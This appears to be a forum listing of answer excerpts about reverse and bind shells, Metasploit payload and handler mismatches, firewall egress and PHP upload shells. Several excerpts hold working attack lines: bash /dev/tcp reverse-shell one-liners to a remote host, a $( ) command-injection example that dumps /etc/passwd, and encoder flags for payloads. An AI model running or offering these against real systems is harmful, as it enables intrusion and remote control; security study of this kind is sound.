5

Why netcat is NOT working here? To connect reverse shell created by msfvenom, any other way than metasploit? That's because you are generating a fully fledged meterpreter payload and using that is extremely different from a simple reverse shell. A simple reverse shell is a just a textual access to the cmd/bash but a fully fledged meterpreter payload ...


4

In order to understand why one might work when the other might not, you need to look at how firewall configurations work. Consider an average employee computer. Most, if not all connections, will be outgoing first. Any incoming data would be in response to an outgoing connection. As such, a simple bind shell may be blocked by the firewall. I'll illustrate ...


4

As I cannot find a direct answer to this on this site, I'll provide a quick answer. There are two primary methods for locating shells: shell signatures anomalous network connections Signature-based Meterpreter, for example, has a very distinct signature and AV tools can find these. PHP shells and others can likewise contain unique elements that might be ...


3

That's simply a Bash shell that is bind to port 1524/tcp. It will run everything sent to that port on Bash and reply with the output. You don't need tools like Metasploit for that; a simple Netcat or Telnet will do. Isn't it just amazing how a simple Google search can reveal the target of your homework is Metasploitable 2 (spoiler alert)! Bindshell ...


3

Remote code execution means you have successfully executed some specific code on the server. It does not mean you can execute anything else on the server, yet. The solution is to have the executed code make a connection back to you and allow you to send more commands for it to run. That's what a reverse shell is for. Without a reverse shell, you'd ...


2

In addition to @forest's answer, the initial remote code execution method is often blind, with no access to command output. Bootstrapping up into a remote shell means gaining access to command outputs, which are necessary for further exploration of the target.


2

Use $( ) The $( ) construct is equivalent to the backticks, executing the inner command: $ python -c 'import os; import sys; os.system("ping " + sys.argv[1])' '$(cat /etc/passwd > /dev/stderr)' root:x:0:0:root:/root:/bin/bash ...


2

The concept you are looking for is "sessions". Metasploit supports multiple sessions by default. Make sure you use set ExitOnSession false to ensure that the handler does not exit once it handles a session. I cannot quickly find the maximum number of sessions Metasploit can handle by default, but I found one reference where a user was able to trigger 300 ...


2

I can see two different possibilities: There is an actual error in your PHP code that leads to the 500 response. The simple echo test should check for this. An empty file would be an even better test. Even though PHP is only blocked in a certain folder, the configuration does not have to be in that folders .htaccess. An .htaccess file in some parent folder ...


2

If the server is refusing to execute a php script on the uploads folder but runs php scripts elsewhere, it sounds like the server is working as it should. You'll need to use one of those other directories to pop and explore.


2

The connection of the reverse shell originates at the attacked system, i.e. it is an outgoing connection. You ufw rules only restrict incoming connections but allow arbitrary outgoing connections - and thus allow the reverse shell.


2

I Found the issue here. I was using msfvenom payload @ php/meterpreter_reverse_tcp but my handler was php/meterpreter/reverse_tcp when I changed it to match (php/meterpreter_reverse_tcp) exactly then my session was established.


1

I solved it by generating a different payload. Payload that didn't work: /windows/x64/shell/reverse_tcp Payload that worked: /windows/x64/shell_reverse_tcp (and adding some flags -e x64/xor -i 5)


1

Broadly speaking, the difference appears to be that one server would treat any requested (or at least uploaded) file as PHP code - at least if it actually contained PHP code - while the other treated the uploaded file as an image when you requested it so you had to find another way to make the server treat it as code instead. The first site was willing to ...


1

I believe the payload you are setting up in the metasploit handler is a staged payload (more info: https://metasploit.help.rapid7.com/docs/working-with-payloads). This means that the Python script is receiving the final stage but does not know how to handle it and, thus, crashing. Try doing the same thing, but using a stageless payload such as windows/x64/...


1

Since IP addresses really aren't suitable for authentication, you should implement something else to do the job. A simple example in your scenario would be to write a wrapper script (executed by netcat or socat) that prompts for credentials. If the credentials are correct, it can then exec your Java program. This could be done in a few lines with a Bash ...


1

Using just bash with its inbuilt TCP capability: bash -il 1<>/dev/tcp/10.10.10.10/8888 2>&1 <&1 & exit Or slightly more user friendly using script from bsdutils to invoke a pty so you can have propper job control etc... script /dev/null 1<>/dev/tcp/10.10.10.10/8888 2>&1 <&1 & exit


1

It depends. The exploit/multi/handler is more of a stub for whatever payload handler you need to run. So whichever payload you select (with set payload ...) is responsible for doing whatever it needs, just like if you were running it from a regular exploit module. So yes, from a multi-handler, any of the following could happen: A simple socket listener/...


1

Thats the shell code generated in python, you execute that on the target/vulnerable machine in general. Thats are the opcodes in assembler and python dont know nothing about it in general. What you can do is to convert your shell code in assembler with any disassembler(capstone, distorm, etc...) python lib and then check this link https://stackoverflow.com/...


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